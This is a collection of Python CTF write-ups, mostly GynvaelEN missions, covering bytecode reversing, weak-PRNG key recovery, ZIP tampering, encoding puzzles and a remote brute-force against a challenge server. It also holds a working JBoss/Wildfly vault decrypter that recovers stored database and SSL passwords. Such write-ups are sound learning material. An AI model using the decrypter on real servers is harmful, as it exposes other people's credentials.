0x58 0xf0 0x58
0x44 0xf0 0x44
0x2d 0xf0 0x2d
0x2d 0xf0 0x2d
0x35 0xf0 0x35
0x41 0xf0 0x41
0x29 0xf0 0x29
0x59 0x43 0xf0 0x43 0xf0 0x59
0x29 0xf0 0x29
0x23 0xf0 0x23
0x44 0xf0 0x44
0x31 0xf0 0x31
0x52 0xf0 0x52
0x2c 0xf0 0x2c
0x29 0xf0 0x29
0x1b 0xf0 0x1b
0x4d 0xf0 0x4d
0x24 0xf0 0x24
0x1c 0xf0 0x1c
0x42 0xf0 0x42
0x29 0xf0 0x29
0x12 0x42 0xf0 0x42 0xf0 0x12
0x24 0xf0 0x24
0x35 0xf0 0x35
0x32 0xf0 0x32
0x44 0xf0 0x44
0x1c 0xf0 0x1c
0x2d 0xf0 0x2d
0x23 0xf0 0x23
0x49 0xf0 0x49
'''

# Scan Codes
sc = {
   0x12: 'lshft',
   0x1b: 's',
   0x1c: 'a',
   0x23: 'd',
   0x24: 'e',
   0x29: ' ',
   0x2c: 't',
   0x2d: 'r',
   0x31: 'n',
   0x32: 'b',
   0x35: 'y',
   0x41: ',',
   0x42: 'k',
   0x43: 'i',
   0x44: 'o',
   0x49: '.',
   0x4d: 'p',
   0x52: '\'',
   0x58: 'caps',
   0x59: 'rshft'
}

data = [0x58, 0xf0, 0x58, 0x1b, 0xf0, 0x1b, 0x58, 0xf0, 0x58, 0x44, 0xf0, 0x44, 0x2d, 0xf0, 0x2d, 0x2d, 0xf0, 0x2d, 0x35, 0xf0, 0x35, 0x41, 0xf0, 0x41, 0x29, 0xf0, 0x29, 0x59, 0x43, 0xf0, 0x43, 0xf0, 0x59, 0x29, 0xf0, 0x29, 0x23, 0xf0, 0x23, 0x44, 0xf0, 0x44, 0x31, 0xf0, 0x31, 0x52, 0xf0, 0x52, 0x2c, 0xf0, 0x2c, 0x29, 0xf0, 0x29, 0x1b, 0xf0, 0x1b, 0x4d, 0xf0, 0x4d, 0x24, 0xf0, 0x24, 0x1c, 0xf0, 0x1c, 0x42, 0xf0, 0x42, 0x29, 0xf0, 0x29, 0x12, 0x42, 0xf0, 0x42, 0xf0, 0x12, 0x24, 0xf0, 0x24, 0x35, 0xf0, 0x35, 0x32, 0xf0, 0x32, 0x44, 0xf0, 0x44, 0x1c, 0xf0, 0x1c, 0x2d, 0xf0, 0x2d, 0x23, 0xf0, 0x23, 0x49, 0xf0, 0x49]

may = False
shift = False
stack = []

decoded = ''

for i in data:
   #print i
   if i != 240:
      letter = sc[i]
      #print letter, stack
      if letter in stack:
         stack.remove(letter)
      else:
         stack.append(letter)
         if letter == 'caps': may = not may
         elif 'shft' in letter: shift = True
         else:
            if may:
               decoded += letter.upper()
            elif shift:
               decoded += letter.upper()
               shift = False
            else:
               decoded += letter

print decoded
# python keylogger.py
Sorry, I don't speak Keyboard.

Source

https://www.youtube.com/watch?v=4Xo_FAx6P0A (1:51:20)

Done in collaboration

https://atorralba.github.io/

# GynvaelEN mission 011


# cat mission_11-firmware.txt
# Number of arguments this code object expects
co_argcount 1
# Tuple of constant objects
co_consts (None, '4e5d4e92865a4e495a86494b5a5d49525261865f5758534d4a89', 'hex', 89, 255, 115, 50)
# Flags
co_flags 67
# Function name
co_name check_password
# Names used
co_names ('decode', 'len', 'False', 'all', 'zip', 'ord')
# Number of local variables
co_nlocals 4
# The depth of the stack
co_stacksize 6
# Argument names
co_varnames ('s', 'good', 'cs', 'cg')

      0 LOAD_CONST          1  stack[0] = '4e5d4e92865a4e495a86494b5a5d49525261865f5758534d4a89'
      3 LOAD_ATTR           0  names[0] # decode
      6 LOAD_CONST          2  stack[1] = 'hex'
      9 CALL_FUNCTION       1  stack[0] = 'N]N\x92\x86ZNIZ\x86IKZ]IRRa\x86_WXSMJ\x89' # 26
     12 STORE_FAST          1  good = 'N]N\x92\x86ZNIZ\x86IKZ]IRRa\x86_WXSMJ\x89' # 26; stack is empty
     15 LOAD_GLOBAL         1  stack[0] = 'len'
     18 LOAD_FAST           0  stack[1] = 's'
     21 CALL_FUNCTION       1  ?; stack is empty
     24 LOAD_GLOBAL         1  stack[0] = 'len'
     27 LOAD_FAST           1  stack[1] = 'good'
     30 CALL_FUNCTION       1  26; stack is empty
     33 COMPARE_OP          3 (!=) len(s) != len(goog)
     36 POP_JUMP_IF_FALSE  43    if eq goto 43
     39 LOAD_GLOBAL         2    else stack[0] = 'False'
     42 RETURN_VALUE   return 'False'
>>   43 LOAD_GLOBAL         3    stack[0] = 'all'
     46 BUILD_LIST          0    stack[0] = ['all']
     49 LOAD_GLOBAL         4    stack[1] = 'zip'
     52 LOAD_FAST           0    stack[2] = 's'
     55 LOAD_FAST           1    stack[3] = 'good'
     58 CALL_FUNCTION       2    stack[0] = zip(s, good)
     61 GET_ITER      stack[0] = iter(zip(s, good))
>>   62 FOR_ITER           52 (to 117)
     65 UNPACK_SEQUENCE     2    stack[1] = s[i], good[i]
     68 STORE_FAST          2    cs = s[i]
     71 STORE_FAST          3    cg = good[i]
     74 LOAD_GLOBAL         5    stack[0] = 'ord'
     77 LOAD_FAST           2    stack[1] = cs
     80 CALL_FUNCTION       1    stack[0] = ord(cs)
     83 LOAD_CONST          3    stack[1] = 89
     86 BINARY_SUBTRACT     stack[0] = ord(cs) - 89
     87 LOAD_CONST          4    stack[1] = 255
     90 BINARY_AND      stack[0] = (ord(cs) - 89) & 255
     91 LOAD_CONST          5    stack[1] = 115
     94 BINARY_XOR      stack[0] = ((ord(cs) - 89) & 255) ^ 115
     95 LOAD_CONST          6    stack[1] = 50
     98 BINARY_XOR      stack[0] = (((ord(cs) - 89) & 255) ^ 115) ^ 50
     99 LOAD_GLOBAL         5    stack[1] = 'ord'
    102 LOAD_FAST           3    stack[2] = cg
    105 CALL_FUNCTION       1    stack[1] = ord(cg)
    108 COMPARE_OP          2 (==)  computed_cg == cg
    111 LIST_APPEND         2
    114 JUMP_ABSOLUTE      62    goto 62
>>  117 CALL_FUNCTION       1
    120 RETURN_VALUE

# cat mission_11.py
password = ''

for i in '4e5d4e92865a4e495a86494b5a5d49525261865f5758534d4a89'.decode('hex'):
    password += chr(255 & (89 + (ord(i) ^ 50 ^ 115)))

print password

# python mission_11.py
huh, that actually worked!

Source

https://www.youtube.com/watch?v=s5gOW-N9AAo (1:46:20)

# GynvaelEN mission 010


# cat mission_10.py
from pwn import *

host = '31.133.0.131' #'127.0.0.1'
port = 9393

def get_mask_len():
 i = 64
 while True:
  j = i * 8
  r = remote(host, port)
  r.sendlineafter('\n', 'A' * j)
  re = r.recvuntil('\n')
  r.close()
  if 'Meh' in re:
   break
  i += 1
 return j

def get_secret2():
 b1 = '00000001'
 mask = b1 * (ml / 8)
 r = remote(host, port)
 r.sendlineafter('\n', mask)
 re = r.recvuntil('\n')

 b0 = '0'
 bits = b0 * (ml / 8)
 r.sendline(bits)

 re = r.recvuntil('\n')
 if 'Access Granted' in re:
  for _ in range(4):
   print r.recvuntil('\n')
 r.close()

def get_bits():
 b = ''
 for i in range(len(mask)):
  if mask[i] == '1':
   b += secret1[i]
 return b

def check_result(m, b):
 r = remote(host, port)
 r.sendlineafter('\n', m)
 re = r.recvuntil('\n')
 r.sendline(b)
 re = r.recvuntil('\n')
 r.close()
 return re

def binary_to_str(binary):
 s = ''
 for i in range(0, len(binary), 8):
  b = ''
  for j in range(8):
   b = binary[i + j] + b
  s += chr(int(b, 2))
 return s

def get_secret1():
 for i in range(len(mask)):
  if mask[i] == '0':
   mask[i] = '1'
   tmask = ''.join(mask)
   for j in '01':
    secret1[i] = j
    bits = get_bits()
    if 'Access Granted' in check_result(tmask, bits):
     break


ml = get_mask_len()
get_secret2()

secret1 = ['0'] * ml
mask = [i for i in '00000001'] * (ml / 8)
get_secret1()

print binary_to_str(get_bits())

# python mission_10.py
You have received one secret message:

---

Just Another Secret Message

---

This Crypto Is Absolutely Secure And There Will Be No Problem With It.

Source

https://www.youtube.com/watch?v=Vs8PLpHCoNY (1:45:30)

# GynvaelEN mission 009


# cat mission_09.py
import datetime

# Microsoft rand
def rand():
 global seed
 seed = (seed * 214013 + 2531011) % 2147483648
 return seed / 65536


key = [0] * 31
secret = [0] * 31
xor = [0x9a, 0x60, 0x76, 0x14, 0x8b, 0x36, 0x5a, 0x10, 0x2b, 0x91, 0xc4, 0x6c, 0xab, 0x27, 0x92, 0x99, 0xf8, 0x6a, 0xec, 0x5d, 0x32, 0x20, 0x3d, 0x61, 0x8f, 0xc7, 0xfb, 0xdd, 0x02, 0x72, 0xbf]


for s in range(1500336000, 1500508800):
 seed = s
 for i in range(31):
  eax = rand()
  rdx = (2139127681 * eax) >> 39
  ecx = eax >> 31
  edx = (rdx & 0xffffffff) - ecx
  ecx = edx << 8
  edx += ecx
  eax -= edx
  key[i] = eax & 0xff

 for i in range(31):
  secret[i] = (xor[i] ^ key[i]) & 0xff

 if all(c < 128 for c in secret):
  print 'seed =', s
  print 'time = ', datetime.datetime.fromtimestamp(s)
  print ''.join([chr(c) for c in secret])
  break

# python mission_09.py
seed = 1500483661
time =  2017-07-19 18:01:01
Who needs to store keys anyway.

Source

https://www.youtube.com/watch?v=7RotbY17tKk (1:47:55)

Reference

https://en.wikipedia.org/wiki/COFF

# Decrypt Wildfly/Jboss vault passwords


# cat standalone.xml
...
  <vault>  
      <vault-option name="KEYSTORE_URL" value="${user.home}/vault.store"/>  
      <vault-option name="KEYSTORE_PASSWORD" value="MASK-3y28rCZlcKR"/>  
      <vault-option name="KEYSTORE_ALIAS" value="vault"/>  
      <vault-option name="SALT" value="12438567"/>  
      <vault-option name="ITERATION_COUNT" value="50"/>  
      <vault-option name="ENC_FILE_DIR" value="${user.home}/vault.dat"/>  
    </vault> 
...

# cat vaultbreaker.py
import hashlib
import javaobj # pip install javaobj-py3
import jks # pip install pyjks
import string
import sys
from Crypto.Cipher import AES, DES

def clean(s):
 return filter(lambda x: x in string.printable, s).strip()

def get_derived_key(password, salt, count):
 key = password + salt
 for i in range(count):
  m = hashlib.md5(key)
  key = m.digest()
 return (key[:8], key[8:])

def customb64decode(msg):
 alphabet = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz./_'
 result = ''
 for i in range(0, len(msg), 4):
  p0 = alphabet.index(msg[i])
  p1 = alphabet.index(msg[i + 1])
  p2 = alphabet.index(msg[i + 2])
  p3 = alphabet.index(msg[i + 3])
  if p0 != 64:
   result += chr(((p1 & 0x30) >> 4) | (p0 << 2))
  if p1 != 64:
   result += chr(((p2 & 0x3c) >> 2) | ((p1 & 0xf) << 4))
  result += chr(((p2 & 3) << 6) | p3)
 return result

def decrypt_keystore_password(enc_keystore_password, password, salt, iteration_count):
 num = 4 - (len(enc_keystore_password) % 4)
 if num != 4:
  enc_keystore_password = ('_' * num) + enc_keystore_password
 enc_text = customb64decode(enc_keystore_password)
 (dk, iv) = get_derived_key(password, salt, iteration_count)
 crypter = DES.new(dk, DES.MODE_CBC, iv)
 text = crypter.decrypt(enc_text)
 return clean(text)

def get_secret_key(keystore_filename, alias, keystore_password):
 ks = jks.KeyStore.load(keystore_filename, keystore_password)
 for a, sk in ks.secret_keys.items():
  if a == alias:
   return sk.key
 return null

def decrypt_vault_passwords(vault_filename, secret_key):
 decryption_suite = AES.new(secret_key, AES.MODE_ECB)
 print '[+] Vault passwords ='
 jobj = open(vault_filename).read()
 pobj = javaobj.loads(jobj)
 for i in range(0, len(pobj.annotations[1].annotations), 2):
  key = pobj.annotations[1].annotations[i]
  value = pobj.annotations[1].annotations[i + 1]
  if key:
   plain_text = decryption_suite.decrypt(str(value))
   print '\t -', key, '=', clean(plain_text)


passwd = "somearbitrarycrazystringthatdoesnotmatter"
KEYSTORE_PASSWORD = sys.argv[1]
KEYSTORE_ALIAS = sys.argv[2]
SALT = sys.argv[3]
ITERATION_COUNT = int(sys.argv[4])
keystore_filename = sys.argv[5]
vault_filename = sys.argv[6]

keystore_password = decrypt_keystore_password(KEYSTORE_PASSWORD, passwd, SALT, ITERATION_COUNT)
print '[+] Keystore password = ' + keystore_password

secret_key = get_secret_key(keystore_filename, KEYSTORE_ALIAS, keystore_password)
print '[+] Secretkey password = ' + secret_key.encode('hex')

decrypt_vault_passwords(vault_filename, secret_key)

# python vaultbreaker.py 3y28rCZlcKR vault 12438567 50 vault.store vault.dat
[+] Keystore password = vault22
[+] Secretkey password = 0e8f11aae5222d8280533a93bfaff4c3
[+] Vault passwords =
  - ssl::SSLUSER = ssl_user
  - datasource::HOST = 192.1.2.3
  - ssl::SSLPASS = ssl_pass
  - ssl::SSLALIAS = test
  - datasource::PORT = 1521
  - datasource::PASS = db_pass
  - datasource::SERVICENAME = db
  - datasource::USER = db_user

Reference

https://developer.jboss.org/wiki/JBossAS7SecuringPasswords

Done in collaboration

https://atorralba.github.io/

# GynvaelEN mission 008


# cat mission_08.py
number = 1087943696176439095600323762148055792209594928798662843208446383247024

i = 1

while True:
 h = hex(number / i)[2:-1]
 if len(h) % 2 == 0:
  s = h.decode('hex')
  if all(ord(c) < 128 for c in s):
   print s, i
   break
 i += 1

# python mission_08.py
Text is just a long number. 31336

Source

https://www.youtube.com/watch?v=OAk23u9b-88 (1:50:10)

# GynvaelEN mission 007


# cat parser.py
#        00000000  50 4b 03 04 14 00 00 00  00 00 fc 96 dc 4a 73 03  |PK...........Js.|
#        00000010  1a 7b 5e 00 00 00 7a 00  00 00 0a 00 00 00 72 65  |.{^...z.......re|
#        00000020  70 6f 72 74 2e 74 78 74  f8 07 54 16 3b 8b 63 cc  |port.txt..T.;.c.|
#        00000030  78 b7 03 42 4c 35 b8 0f  72 43 87 8f ab a8 55 3b  |x..BL5..rC....U;|
#        00000040  7f ee 9b 48 88 1a 2b cb  f3 52 73 bf 6f e2 11 37  |...H..+..Rs.o..7|
#        00000050  f2 06 a9 d3 53 12 2b d1  fe ff 47 34 58 be be 03  |....S.+...G4X...|
#        00000060  7f cb 15 08 b2 5a 58 2e  3a 51 61 1c b2 db 63 b6  |.....ZX.:Qa...c.|
#        00000070  5e 3a 76 98 0b 9a 32 12  88 cb b2 8c d3 d6 d4 fa  |^:v...2.........|
#        00000080  b7 37 b5 27 00 00 50 4b  01 02 14 00 14 00 00 00  |.7.'..PK........|
#        00000090  00 00 fc 96 dc 4a 73 03  1a 7b 5e 00 00 00 7a 00  |.....Js..{^...z.|
#        000000a0  00 00 0a 00 24 00 00 00  00 00 01 00 20 00 00 00  |....$....... ...|
#        000000b0  00 00 00 00 72 65 70 6f  72 74 2e 74 78 74 0a 00  |....report.txt..|
#        000000c0  20 00 00 00 00 00 01 00  18 00 00 6e 5c 69 2f f0  | ..........n\i/.|
#        000000d0  d2 01 00 6e 5c 69 2f f0  d2 01 80 d0 e0 52 2f f0  |...n\i/......R/.|
#        000000e0  d2 01 50 4b 05 06 00 00  00 00 01 00 01 00 5c 00  |..PK..........\.|
#        000000f0  00 00 86 00 00 00 00 00                           |........|
#        000000f8

import struct
import sys

def extract_bytes(offset, num, ctype = None):
    j = offset
    k = j + num
    if ctype:
        return struct.unpack(ctype, data[j:k])[0]
    else:
        return repr(data[j:k])

with open(sys.argv[1]) as f:
    data = f.read()

ep = 0
print 'Local file header signature', extract_bytes(ep + 0, 4)
print 'Version needed to extract', extract_bytes(ep + 4, 2)
print 'General purpose bit flag', extract_bytes(ep + 6, 2)
print 'Compression method', extract_bytes(ep + 8, 2)
print 'File last modification time', extract_bytes(ep + 10, 2)
print 'File last modification date', extract_bytes(ep + 12, 2)
print 'CRC-32', extract_bytes(ep + 14, 4)
cs = extract_bytes(ep + 18, 4, '<I')
print 'Compressed size', cs
print 'Uncompressed size', extract_bytes(ep + 22, 4)
n = extract_bytes(ep + 26, 2, '<H')
print 'File name length (n)', n
m = extract_bytes(ep + 28, 2, '<H')
print 'Extra field length (m)', m
print 'File name', extract_bytes(ep + 30, n)
print 'Extra field', extract_bytes(ep + 30 + n, m)
print '--------'
epcdfhs = data.index('PK\x01\x02')
i = ep + 30 + n
j = epcdfhs - cs - i
print 'Extra field', extract_bytes(i, j)
print 'Compressed data', extract_bytes(i + j, cs)
print '--------'
ep = epcdfhs
print 'Central directory file header signature', extract_bytes(ep + 0, 4)
print 'Version made by', extract_bytes(ep + 4, 2)
print 'Version needed to extract', extract_bytes(ep + 6, 2)
print 'General purpose bit flag', extract_bytes(ep + 8, 2)
print 'Compression method', extract_bytes(ep + 10, 2)
print 'File last modification time', extract_bytes(ep + 12, 2)
print 'File last modification date', extract_bytes(ep + 14, 2)
print 'CRC-32', extract_bytes(ep + 16, 4)
print 'Compressed size', extract_bytes(ep + 20, 4)
print 'Uncompressed size', extract_bytes(ep + 24, 4)
n = extract_bytes(ep + 28, 2, '<H')
print 'File name length (n)', n
m = extract_bytes(ep + 30, 2, '<H')
print 'Extra field length (m)', m
k = extract_bytes(ep + 32, 2, '<H')
print 'File comment length (k)', k
print 'Disk number where file starts', extract_bytes(ep + 34, 2)
print 'Internal file attributes', extract_bytes(ep + 36, 2)
print 'External file attributes', extract_bytes(ep + 38, 4)
print 'Relative offset of local file header', extract_bytes(ep + 42, 4)
print 'File name', extract_bytes(ep + 46, n)
print 'Extra field', extract_bytes(ep + 46 + n, m)
print 'File comment', extract_bytes(ep + 46 + n + m, k)

# python parser.py report.zip
Local file header signature 'PK\x03\x04'
Version needed to extract '\x14\x00'
General purpose bit flag '\x00\x00'
Compression method '\x00\x00'
File last modification time '\xfc\x96'
File last modification date '\xdcJ'
CRC-32 's\x03\x1a{'
Compressed size 94
Uncompressed size 'z\x00\x00\x00'
File name length (n) 10
Extra field length (m) 0
File name 'report.txt'
Extra field ''
--------
Extra field ''
Compressed data "\xf8\x07T\x16;\x8bc\xccx\xb7\x03BL5\xb8\x0frC\x87\x8f\xab\xa8U;\x7f\xee\x9bH\x88\x1a+\xcb\xf3Rs\xbfo\xe2\x117\xf2\x06\xa9\xd3S\x12+\xd1\xfe\xffG4X\xbe\xbe\x03\x7f\xcb\x15\x08\xb2ZX.:Qa\x1c\xb2\xdbc\xb6^:v\x98\x0b\x9a2\x12\x88\xcb\xb2\x8c\xd3\xd6\xd4\xfa\xb77\xb5'\x00\x00"
--------
Central directory file header signature 'PK\x01\x02'
Version made by '\x14\x00'
Version needed to extract '\x14\x00'
General purpose bit flag '\x00\x00'
Compression method '\x00\x00'
File last modification time '\xfc\x96'
File last modification date '\xdcJ'
CRC-32 's\x03\x1a{'
Compressed size '^\x00\x00\x00'
Uncompressed size 'z\x00\x00\x00'
File name length (n) 10
Extra field length (m) 36
File comment length (k) 0
Disk number where file starts '\x00\x00'
Internal file attributes '\x01\x00'
External file attributes ' \x00\x00\x00'
Relative offset of local file header '\x00\x00\x00\x00'
File name 'report.txt'
Extra field '\n\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\x00n\\i/\xf0\xd2\x01\x00n\\i/\xf0\xd2\x01\x80\xd0\xe0R/\xf0\xd2\x01'
File comment ''

# cat generate_zipfiles.py
from subprocess import Popen, PIPE
from sys import argv

cm = {  0: 'The file is stored (no compression)',
        1: 'The file is Shrunk',
        2: 'The file is Reduced with compression factor 1',
        3: 'The file is Reduced with compression factor 2',
        4: 'The file is Reduced with compression factor 3',
        5: 'The file is Reduced with compression factor 4',
        6: 'The file is Imploded',
        7: 'Reserved for Tokenizing compression algorithm',
        8: 'The file is Deflated',
        9: 'Enhanced Deflating using Deflate64(tm)',
        10: 'PKWARE Data Compression Library Imploding (old IBM TERSE)',
        11: 'Reserved by PKWARE',
        12: 'File is compressed using BZIP2 algorithm',
        13: 'Reserved by PKWARE',
        14: 'LZMA (EFS)',
        15: 'Reserved by PKWARE',
        16: 'Reserved by PKWARE',
        17: 'Reserved by PKWARE',
        18: 'File is compressed using IBM TERSE (new)',
        19: 'IBM LZ77 z Architecture (PFS)',
        97: 'WavPack compressed data',
        98: 'PPMd version I, Rev 1'
}

ofn = argv[1]
nfn = 'new'
rfn = 'report.txt'

with open(ofn) as f:
    data = f.read()

for i in range(256):
    data = data[:8] + chr(i) + data[9:144] + chr(i) + data[145:]
    with open(nfn, 'wb') as f:
        f.write(data)
    command = '7z x ' + nfn
    p = Popen(command.split(), stdout = PIPE, stderr = PIPE)
    o, e = p.communicate()
    if 'Everything is Ok' in o:
        print i, cm[i]
        command = 'cat ' + rfn
        p = Popen(command.split(), stdout = PIPE, stderr = PIPE)
        o, e  = p.communicate()
        print o
    command = 'rm ' + nfn + ' ' + rfn
    p = Popen(command.split(), stdout = PIPE, stderr = PIPE)
    p.communicate()

# python generate_zipfiles.py report.zip
98 PPMd version I, Rev 1
The secret password is:
  My name is Bond, James Bond.
Seriously, you could have guessed this based on the mission ID.

Source

https://www.youtube.com/watch?v=z9hfkajoAvc (1:25:15)

References

https://en.wikipedia.org/wiki/Zip_(file_format)
https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT (4.4.5)
https://github.com/corkami/pics/blob/master/binary/zip101/zip101.pdf

# An XOR alternative


# cat xor_alternative.py
import sys

# data contains hex chars (a-f + 0-9) and random chars
# Chars are not repeated
data = '2ubfLkR0vsJ#)=SQtXNcO6AYPT1U+ja7W*h9I-y4GeHzn5&BK;_@$U3dm8^%'

def obfuscate(s, step):
 out = ''
 ldata = len(data)
 ls = len(s)
 for i in s:
  h = hex(ord(i))[2:]
  for j in h:
   p = data.index(j)
   p2 = (p + step) % ldata
   out += data[p2]
 return out

def deobfuscate(s, step):
 out = ''
 ldata = len(data)
 ls = len(s)
 for i in range(0, ls, 2):
  h = ''
  for j in range(2):
   p = data.index(s[i + j])
   p2 = (p - step) % ldata
   h += data[p2]
  out += chr(int(h, 16))
 return out

action = sys.argv[1]
s = sys.argv[2]
step = int(sys.argv[3])

print 'String =', s
print 'Step =', step

if action == 'o':
 print 'Action = Obfuscate'
 print 'Result =', obfuscate(s, step)
elif action == 'd':
 print 'Action = Deobfuscate'
 print 'Result =', deobfuscate(s, step)

# python xor_alternative.py o SECRET 1234
String = SECRET
Step = 1234
Action = Obfuscate
Result = c+=c=+ch=cc=

# python xor_alternative.py d c+=c=+ch=cc= 1234
String = c+=c=+ch=cc=
Step = 1234
Action = Deobfuscate
Result = SECRET

Reference

https://isc.sans.edu/forums/diary/Obfuscating+without+XOR/22544/

# GynvaelEN mission 006


# cat mission_06.py
from PIL import Image
import qrtools

n = 25
m = 3
fn = 'mission_06.png'

matrix = [255 for i in range(n * n)]

with open('mission_06.data') as f:
 data = f.read().splitlines()

for line in data:
 line = line[1:-1].split(', ')
 i = int(line[0])
 j = int(line[1])
 matrix[(i*n) + j] = 0

image = Image.new('L', (n, n))
image.putdata(matrix)
image.save(fn)

img = Image.open(fn)
img = img.rotate(-90)
img = img.resize((n * m, n * m), Image.ANTIALIAS)
img.save(fn)

qr = qrtools.QR(filename = fn)
if qr.decode():
 print qr.data

# python mission_06.py
Mirrored QR? Seriously?!

Source

https://www.youtube.com/watch?v=KvyBn4Btv8E (1:32:02)

# GynvaelEN mission 005


# curl -v http://gynvael.vexillium.org/ext/thepicture/picture.image
Content-Encoding: rle
Content-Type: image/raw; w=640,h=212,bpp=8
# cat mission_05.py
from struct import unpack
from PIL import Image

with open('picture.image') as f:
 cdata = f.read()

ddata = []

for i in range(0, len(cdata), 2):
 v = unpack('B', cdata[i + 1])[0] ^ 1
 for _ in range(unpack('B', cdata[i])[0]):
  ddata.append(v * 255)

image = Image.new('L', (640, 212))
image.putdata(ddata)
image.save('output.png')
# python mission_05.py


Source

https://www.youtube.com/watch?v=W7s5CWaw6I4 (1:20:57)

Reference

https://en.wikipedia.org/wiki/Run-length_encoding

# Confidence CTF 2k17: Starbyte - misc - 200 pts


# cat starbyte.py
from PIL import Image, ImageDraw
import scipy.io.wavfile
import sys
import wave

inputfile = sys.argv[1]

wave_read_object = wave.open(inputfile, 'rb')
print 'Number of audio channels = ',  wave_read_object.getnchannels()
print 'Sample width = ', wave_read_object.getsampwidth(), '(bytes)'
print 'Sampling frequency = ', wave_read_object.getframerate(), '(Hz)'
frames = wave_read_object.getnframes()
print 'Number of audio frames = ', frames
wave_read_object.close()
rate, data = scipy.io.wavfile.read(inputfile)

last_frame = -1
c = ''
r = ''
i = 0

for frame in data:
 if frame > 90:
  if last_frame != 1:
   c += '1'
   i += 1
  last_frame = 1
 elif frame > 23:
  if  last_frame != 0:
   c += '0'
   i += 1
  last_frame = 0
 else:
  last_frame = -1
 if i == 10:
  nc = ''
  for j in c:
   nc = j + nc
  r += chr(int(nc, 2))
  c = ''
  i = 0
r = r.split('\n')

image = Image.new('RGB', (1000, 1000), 'black')
draw = ImageDraw.Draw(image)

for line in r:
 line = line.split()
 if 'LINE' in line:
  x1, y1, x2, y2 = map(int, line[1:])
  draw.line([(x1, y1), (x2, y2)], 'green')
 #elif 'REKT' in line:
 # x1, y1, x2, y2 = map(int, line[1:])
 # draw.rectangle([(x1, y1), (x2, y2)], None, 'green')
 elif 'CRCL' in line:
  x1, y1, rad = map(int, line[1:])
  draw.arc([(x1 - rad, y1 - rad), (x1 + rad, y1 + rad)], 0, 360, 'green')

image.save('image.png')
# python starbyte.py starbyte.wav
Number of audio channels =  1
Sample width =  1 (bytes)
Sampling frequency =  44100 (Hz)
Number of audio frames =  3885808
# eog image.png

# GynvaelEN mission 004


# cat mission_04.py
def hex2bin(h):
 binary = ''
 for i in range(0, len(h), 2):
  byte = u[i:i + 2]
  binary += format(int(byte, 16), '08b')
 return binary

def decode(u):
 lu = len(u)
 if lu == 2:
  return u.decode('hex')
 elif lu  == 4:
  binary = hex2bin(u)
  r = binary[3:8] + binary[10:]
  return chr(int(r, 2))
 elif lu  == 6:
  binary = hex2bin(u)
  r = binary[4:8] + binary[10:16] + binary[18:]
  return chr(int(r, 2))
 elif lu  == 8:
  binary = ''
  binary = hex2bin(u)
  r = binary[5:8] + binary[10:16] + binary[18:24] + binary[26:]
  return chr(int(r, 2))

message = 'E0818F766572C1ACE081AFE081AEC1A7E080A0E08195C194E081862DE080B8E080A0F08081B7C1A17320C1B3F08081B563C1A820E081A1F08080A0E081A6F08081B5F08081AE20E081A6E081A5F08081A1C1B475E081B2E081A5F08080AE'

result = ''

i = 0

while i < len(message):
 byte = int(message[i:i+2], 16)
 binary = format(byte, '08b')
 if binary[0] == '0':
  j = 2
 elif binary[0:3] == '110':
  j = 4
 elif binary[0:4] == '1110':
  j = 6
 elif binary[0:5] == '11110':
  j = 8
 u = message[i:i + j]
 i += j
 result += decode(u)

print result
# python mission_04.py
Overlong UTF-8 was such a fun feature.

Source

https://www.youtube.com/watch?v=iwRSFlZoSCM (1:26:42)

Reference

https://es.wikipedia.org/wiki/UTF-8#Codificaci.C3.B3n_de_los_caracteres

# GynvaelEN mission 003


# cat mission_03.py
import itertools

def base4to10(num):
 result = 0
 ln = len(num) - 1
 for i in num:
  result += int(i) * (4 ** ln)
  ln -= 1
 return result

def ascii_string(s):
 for i in s:
  if ord(i) < 32 or ord(i) > 126:
   return False
 return True

with open('huffman.code') as f:
 bd = f.read()[:-1]

values = ['0', '1', '00', '01', '10', '11', '000', '001', '010', '011', '100', '101', '110', '111']

for i in itertools.permutations(values, 4):
 tree = {
  i[0]: '0',
  i[1]: '1',
  i[2]: '2',
  i[3]: '3',
 }
 code = ''
 result = ''
 for d in bd:
  code += d
  if code in tree:
   result += tree[code]
   code = ''
 try:
  decv  = base4to10(result)
  hexv = hex(decv)[2:].replace('L', '')
  ascv  = hexv.decode('hex')
  if ascii_string(ascv) and len(ascv) > 4:
   print 'tree =', tree
   print 'result =', result
   print 'dec =', decv
   print 'bytes =', hexv
   print 'ascii =', ascv[::-1]
   print
 except:
  pass

# python mission_03.py
tree = {'11': '1', '0': '2', '100': '0', '101': '3'}
result = 3231202120213111211131203001031030012101202131112031322131303001323130113211313131312111030030013010300120213011212030012101031
dec = 26860288614901905570716094189682157357950360778336264927367113021610209076301
bytes = 3b6262756576304d30646275637a77307b71797777654c30713062716630644d
ascii = Md0fqb0q0Lewwyq{0wzcubd0M0veubb;

tree = {'11': '1', '0': '3', '100': '0', '101': '2'}
result = 2321303130312111311121302001021020013101303121113021233121202001232120112311212121213111020020012010200130312011313020013101021
dec = 21010374883428224108739011194252932925839770786883498221738205492211234141257
bytes = 2e7373657567204920747365726f66206e616d66667548206120736177207449
ascii = It was a Huffman forest I guess.

Source

https://www.youtube.com/watch?v=iwRSFlZoSCM (1:26:42)

# GynvaelEN mission 002


# cat mission_02.py
tree = {
'01': '0',
'0010': '1',
'0001': '2',
'00110': '3',
'10': '4',
'000000': '5',
'00000100': '6',
'00000101': '7',
'00000110': '8',
'00000111': '9',
'00001': 'a',
'001110': 'b',
'001111': 'c',
'111': 'd',
'1101': 'e',
'1100': 'f'

}

code = ''
hexencoded = ''

with open('huffman.code') as f:
 bd = f.read()[:-1]
 for d in bd:
  code += d
  if code in tree:
   hexencoded += tree[code]
   code = ''
print hexencoded
print hexencoded.decode('hex')

# python mission_02.py
49204c696b652054726565732e20466c6f7765727320746f6f2e
I Like Trees. Flowers too.

Source

https://www.youtube.com/watch?v=HN_tI601jNU (1:38:27)

Reference

https://www.siggraph.org/education/materials/HyperGraph/video/mpeg/mpegfaq/huffman_tutorial.html

# GynvaelEN mission 001


# wget https://github.com/dwyl/english-words/raw/master/words.txt
# grep '^........$' words.txt > wordlist.txt
# cat mission_001.py
import hashlib

solution = '76fb930fd0dbc6cba6cf5bd85005a92a'.decode('hex')

wh = {}

with open('wordlist.txt') as f:
 for word in f.read().splitlines():
  h = hashlib.md5(word).digest()
  wh[h] = word

for k, v in wh.iteritems():
 result = ''.join([chr(ord(b1)^ord(b2)) for b1,b2 in zip(k, solution)])
 if result in wh:
  print v, wh[result]
  break
# python mission_001.py
ambrosia virology

Source

